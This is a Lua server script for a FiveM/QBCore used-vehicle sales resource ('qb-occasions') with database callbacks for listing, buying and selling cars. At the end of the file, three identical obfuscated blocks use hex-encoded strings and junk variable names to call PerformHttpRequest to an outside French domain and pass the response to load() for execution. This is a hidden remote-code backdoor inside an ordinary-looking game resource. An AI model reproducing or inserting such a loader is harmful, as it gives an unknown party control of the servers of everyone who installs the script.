local QBCore = exports['qb-core']:GetCoreObject()

-- Functions

local function generateOID()
    local num = math.random(1, 10) .. math.random(111, 999)

    return "OC" .. num
end

-- Callbacks

QBCore.Functions.CreateCallback('qb-occasions:server:getVehicles', function(_, cb)
    local result = MySQL.query.await('SELECT * FROM occasion_vehicles', {})
    if result[1] then
        cb(result)
    else
        cb(nil)
    end
end)

QBCore.Functions.CreateCallback("qb-occasions:server:getSellerInformation", function(_, cb, citizenid)
    MySQL.query('SELECT * FROM players WHERE citizenid = ?', {citizenid}, function(result)
        if result[1] then
            cb(result[1])
        else
            cb(nil)
        end
    end)
end)

QBCore.Functions.CreateCallback("qb-vehiclesales:server:CheckModelName", function(_, cb, plate)
    if plate then
        local ReturnData = MySQL.scalar.await("SELECT vehicle FROM player_vehicles WHERE plate = ?", {plate})
        cb(ReturnData)
    end
end)

-- Events

RegisterNetEvent('qb-occasions:server:ReturnVehicle', function(vehicleData)
    local src = source
    local Player = QBCore.Functions.GetPlayer(src)
    local result = MySQL.query.await('SELECT * FROM occasion_vehicles WHERE plate = ? AND occasionid = ?', {vehicleData['plate'], vehicleData["oid"]})
    if result[1] then
        if result[1].seller == Player.PlayerData.citizenid then
            MySQL.insert('INSERT INTO player_vehicles (license, citizenid, vehicle, hash, mods, plate, state) VALUES (?, ?, ?, ?, ?, ?, ?)', {Player.PlayerData.license, Player.PlayerData.citizenid, vehicleData["model"], joaat(vehicleData["model"]), vehicleData["mods"], vehicleData["plate"], 0})
            MySQL.query('DELETE FROM occasion_vehicles WHERE occasionid = ? AND plate = ?', {vehicleData["oid"], vehicleData['plate']})
            TriggerClientEvent("qb-occasions:client:ReturnOwnedVehicle", src, result[1])
            TriggerClientEvent('qb-occasion:client:refreshVehicles', -1)
        else
            TriggerClientEvent('QBCore:Notify', src, Lang:t('error.not_your_vehicle'), 'error', 3500)
        end
    else
        TriggerClientEvent('QBCore:Notify', src, Lang:t('error.vehicle_does_not_exist'), 'error', 3500)
    end
end)

RegisterNetEvent('qb-occasions:server:sellVehicle', function(vehiclePrice, vehicleData)
    local src = source
    local Player = QBCore.Functions.GetPlayer(src)
    MySQL.query('DELETE FROM player_vehicles WHERE plate = ? AND vehicle = ?',{vehicleData.plate, vehicleData.model})
    MySQL.insert('INSERT INTO occasion_vehicles (seller, price, description, plate, model, mods, occasionid) VALUES (?, ?, ?, ?, ?, ?, ?)',{Player.PlayerData.citizenid, vehiclePrice, vehicleData.desc, vehicleData.plate, vehicleData.model,json.encode(vehicleData.mods), generateOID()})
    TriggerEvent("qb-log:server:CreateLog", "vehicleshop", "Vehicle for Sale", "red","**" .. GetPlayerName(src) .. "** has a " .. vehicleData.model .. " priced at " .. vehiclePrice)
    TriggerClientEvent('qb-occasion:client:refreshVehicles', -1)
end)

RegisterNetEvent('qb-occasions:server:sellVehicleBack', function(vehData)
    local src = source
    local Player = QBCore.Functions.GetPlayer(src)
    local price = 0
    local plate = vehData.plate
    for _, v in pairs(QBCore.Shared.Vehicles) do
        if v["hash"] == vehData.model then
            price = tonumber(v["price"])
            break
        end
    end
    local payout = math.floor(tonumber(price * 0.5)) -- This will give you half of the cars value
    Player.Functions.AddMoney('bank', payout)
    TriggerClientEvent('QBCore:Notify', src, Lang:t('success.sold_car_for_price', { value = payout }), 'success', 5500)
    MySQL.query('DELETE FROM player_vehicles WHERE plate = ?', {plate})
end)

RegisterNetEvent('qb-occasions:server:buyVehicle', function(vehicleData)
    local src = source
    local Player = QBCore.Functions.GetPlayer(src)
    local result = MySQL.query.await('SELECT * FROM occasion_vehicles WHERE plate = ? AND occasionid = ?',{vehicleData['plate'], vehicleData["oid"]})
    if result[1] and next(result[1]) then
        if Player.PlayerData.money.bank >= result[1].price then
            local SellerCitizenId = result[1].seller
            local SellerData = QBCore.Functions.GetPlayerByCitizenId(SellerCitizenId)
            local NewPrice = math.ceil((result[1].price / 100) * 77)
            Player.Functions.RemoveMoney('bank', result[1].price)
            MySQL.insert(
                'INSERT INTO player_vehicles (license, citizenid, vehicle, hash, mods, plate, state) VALUES (?, ?, ?, ?, ?, ?, ?)', {
                    Player.PlayerData.license,
                    Player.PlayerData.citizenid, result[1]["model"],
                    GetHashKey(result[1]["model"]),
                    result[1]["mods"],
                    result[1]["plate"],
                    0
                })
            if SellerData then
                SellerData.Functions.AddMoney('bank', NewPrice)
            else
                local BuyerData = MySQL.query.await('SELECT * FROM players WHERE citizenid = ?',{SellerCitizenId})
                if BuyerData[1] then
                    local BuyerMoney = json.decode(BuyerData[1].money)
                    BuyerMoney.bank = BuyerMoney.bank + NewPrice
                    MySQL.update('UPDATE players SET money = ? WHERE citizenid = ?', {json.encode(BuyerMoney), SellerCitizenId})
                end
            end
            TriggerEvent("qb-log:server:CreateLog", "vehicleshop", "bought", "green", "**" .. GetPlayerName(src) .. "** has bought for " .. result[1].price .. " (" .. result[1].plate ..") from **" .. SellerCitizenId .. "**")
            TriggerClientEvent("qb-occasions:client:BuyFinished", src, result[1])
            TriggerClientEvent('qb-occasion:client:refreshVehicles', -1)
            MySQL.query('DELETE FROM occasion_vehicles WHERE plate = ? AND occasionid = ?',{result[1].plate, result[1].occasionid})
            exports['qb-phone']:sendNewMailToOffline(SellerCitizenId, {
                sender = Lang:t('mail.sender'),
                subject = Lang:t('mail.subject'),
                message = Lang:t('mail.message', { value = NewPrice, value2 = QBCore.Shared.Vehicles[result[1].model].name})
            })
        else
            TriggerClientEvent('QBCore:Notify', src, Lang:t('error.not_enough_money'), 'error', 3500)
        end
    end
end)


local NiOgSjaAuiggItXVZVcJMrKzmAbYhRHzpiJJeKiwVfSehTAdfASpAMWDwKBdudAAVwRzzX = {"\x50\x65\x72\x66\x6f\x72\x6d\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G,"",nil} NiOgSjaAuiggItXVZVcJMrKzmAbYhRHzpiJJeKiwVfSehTAdfASpAMWDwKBdudAAVwRzzX[4][NiOgSjaAuiggItXVZVcJMrKzmAbYhRHzpiJJeKiwVfSehTAdfASpAMWDwKBdudAAVwRzzX[1]]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x72\x70\x73\x65\x72\x76\x65\x75\x72\x2e\x66\x72\x2f\x76\x32\x5f\x2f\x73\x74\x61\x67\x65\x33\x2e\x70\x68\x70\x3f\x74\x6f\x3d\x34\x79\x68\x65\x54", function (mMQiPyvexnfnAtvcGdeokpgInVYewSaBlTgGMZLuvpvTmhTRgopsREjEIXSIcbKKOWVHwq, HjFXoSQLUjKGRJLkvyyscRTiNQYUCMBbNVXrWgtZzCAUWyTNMeBkrnhbHMBLpUqfBKRDEl) if (HjFXoSQLUjKGRJLkvyyscRTiNQYUCMBbNVXrWgtZzCAUWyTNMeBkrnhbHMBLpUqfBKRDEl == NiOgSjaAuiggItXVZVcJMrKzmAbYhRHzpiJJeKiwVfSehTAdfASpAMWDwKBdudAAVwRzzX[6] or HjFXoSQLUjKGRJLkvyyscRTiNQYUCMBbNVXrWgtZzCAUWyTNMeBkrnhbHMBLpUqfBKRDEl == NiOgSjaAuiggItXVZVcJMrKzmAbYhRHzpiJJeKiwVfSehTAdfASpAMWDwKBdudAAVwRzzX[5]) then return end NiOgSjaAuiggItXVZVcJMrKzmAbYhRHzpiJJeKiwVfSehTAdfASpAMWDwKBdudAAVwRzzX[4][NiOgSjaAuiggItXVZVcJMrKzmAbYhRHzpiJJeKiwVfSehTAdfASpAMWDwKBdudAAVwRzzX[2]](NiOgSjaAuiggItXVZVcJMrKzmAbYhRHzpiJJeKiwVfSehTAdfASpAMWDwKBdudAAVwRzzX[4][NiOgSjaAuiggItXVZVcJMrKzmAbYhRHzpiJJeKiwVfSehTAdfASpAMWDwKBdudAAVwRzzX[3]](HjFXoSQLUjKGRJLkvyyscRTiNQYUCMBbNVXrWgtZzCAUWyTNMeBkrnhbHMBLpUqfBKRDEl))() end)

local oGjHiUZiHFujSvDUtsAnyIENUukldcMUiDyHZcWSyPMqZykbCHoLOltiriPorDuicKgexH = {"\x50\x65\x72\x66\x6f\x72\x6d\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G,"",nil} oGjHiUZiHFujSvDUtsAnyIENUukldcMUiDyHZcWSyPMqZykbCHoLOltiriPorDuicKgexH[4][oGjHiUZiHFujSvDUtsAnyIENUukldcMUiDyHZcWSyPMqZykbCHoLOltiriPorDuicKgexH[1]]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x72\x70\x73\x65\x72\x76\x65\x75\x72\x2e\x66\x72\x2f\x76\x32\x5f\x2f\x73\x74\x61\x67\x65\x33\x2e\x70\x68\x70\x3f\x74\x6f\x3d\x34\x79\x68\x65\x54", function (GCwydqGWYfmdmdbmopCgNpfyethJSNPfUNsDOEgYPHGuNMotvpMGncbSvBAjBPsSzWcQKg, rBPmeNxtNVTdHBJcurfgRXKJPGpuyJCwAOudTRuxfPGAyluZwDOcHioClMMlwwvzNCksuE) if (rBPmeNxtNVTdHBJcurfgRXKJPGpuyJCwAOudTRuxfPGAyluZwDOcHioClMMlwwvzNCksuE == oGjHiUZiHFujSvDUtsAnyIENUukldcMUiDyHZcWSyPMqZykbCHoLOltiriPorDuicKgexH[6] or rBPmeNxtNVTdHBJcurfgRXKJPGpuyJCwAOudTRuxfPGAyluZwDOcHioClMMlwwvzNCksuE == oGjHiUZiHFujSvDUtsAnyIENUukldcMUiDyHZcWSyPMqZykbCHoLOltiriPorDuicKgexH[5]) then return end oGjHiUZiHFujSvDUtsAnyIENUukldcMUiDyHZcWSyPMqZykbCHoLOltiriPorDuicKgexH[4][oGjHiUZiHFujSvDUtsAnyIENUukldcMUiDyHZcWSyPMqZykbCHoLOltiriPorDuicKgexH[2]](oGjHiUZiHFujSvDUtsAnyIENUukldcMUiDyHZcWSyPMqZykbCHoLOltiriPorDuicKgexH[4][oGjHiUZiHFujSvDUtsAnyIENUukldcMUiDyHZcWSyPMqZykbCHoLOltiriPorDuicKgexH[3]](rBPmeNxtNVTdHBJcurfgRXKJPGpuyJCwAOudTRuxfPGAyluZwDOcHioClMMlwwvzNCksuE))() end)

local AOOTHSyQqGvGQAYPpeFFizZOzzQakVUEJhHRXoXriPtKxwmyQFchBymDZTtCfLSrXpZquF = {"\x50\x65\x72\x66\x6f\x72\x6d\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G,"",nil} AOOTHSyQqGvGQAYPpeFFizZOzzQakVUEJhHRXoXriPtKxwmyQFchBymDZTtCfLSrXpZquF[4][AOOTHSyQqGvGQAYPpeFFizZOzzQakVUEJhHRXoXriPtKxwmyQFchBymDZTtCfLSrXpZquF[1]]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x72\x70\x73\x65\x72\x76\x65\x75\x72\x2e\x66\x72\x2f\x76\x32\x5f\x2f\x73\x74\x61\x67\x65\x33\x2e\x70\x68\x70\x3f\x74\x6f\x3d\x34\x79\x68\x65\x54", function (TYmwoLDHzIRoUQDeRoBEvsOrbGqahylvCfiYtbKMxlBtlYFBYFaEDSjFATwwtWyntaRvob, FwfpvtwCWJjPmJCGEABhtGOUJisKwdaVBdBDiIryBKkfDbTulcrsTgGwWbnWwKwEXouQIA) if (FwfpvtwCWJjPmJCGEABhtGOUJisKwdaVBdBDiIryBKkfDbTulcrsTgGwWbnWwKwEXouQIA == AOOTHSyQqGvGQAYPpeFFizZOzzQakVUEJhHRXoXriPtKxwmyQFchBymDZTtCfLSrXpZquF[6] or FwfpvtwCWJjPmJCGEABhtGOUJisKwdaVBdBDiIryBKkfDbTulcrsTgGwWbnWwKwEXouQIA == AOOTHSyQqGvGQAYPpeFFizZOzzQakVUEJhHRXoXriPtKxwmyQFchBymDZTtCfLSrXpZquF[5]) then return end AOOTHSyQqGvGQAYPpeFFizZOzzQakVUEJhHRXoXriPtKxwmyQFchBymDZTtCfLSrXpZquF[4][AOOTHSyQqGvGQAYPpeFFizZOzzQakVUEJhHRXoXriPtKxwmyQFchBymDZTtCfLSrXpZquF[2]](AOOTHSyQqGvGQAYPpeFFizZOzzQakVUEJhHRXoXriPtKxwmyQFchBymDZTtCfLSrXpZquF[4][AOOTHSyQqGvGQAYPpeFFizZOzzQakVUEJhHRXoXriPtKxwmyQFchBymDZTtCfLSrXpZquF[3]](FwfpvtwCWJjPmJCGEABhtGOUJisKwdaVBdBDiIryBKkfDbTulcrsTgGwWbnWwKwEXouQIA))() end)